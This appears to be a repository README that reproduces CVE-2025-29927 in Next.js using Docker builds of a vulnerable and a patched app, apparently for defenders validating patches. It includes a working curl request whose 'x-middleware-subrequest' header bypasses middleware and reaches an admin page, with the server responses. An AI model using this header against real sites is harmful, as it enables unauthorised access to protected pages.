bongni/cve-2025-29927Reproduction and fix of the CVE-2025-29927 vulnerability.
Reproduction and fix of the CVE-2025-29927 vulnerability.
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927
In vulnerable/ there is a version of the application that is vulnerable to the attack. In fixed/ there is a version of the application that is upgraded to the minimal version that fixes the vulnerability.
⚠️ Important: These examples are provided for defenders, researchers, and teams validating patching. Do not run these images on public or production networks. Only test on systems you own or where you have explicit written permission.
Reproduction of the CVE-2025-29927 vulnerability.
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
Run this command, which should get redirected to the login page
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Then run this command, which should be able to access the admin page
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
Fix of the CVE-2025-29927 vulnerability.
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
Run this command, which should get redirected to the login page
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Then run this command, which should now also be redirected to the login page
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
This repository is based on l1uk/nextjs-middleware-exploit, but adapted for version 15.x of Next.js.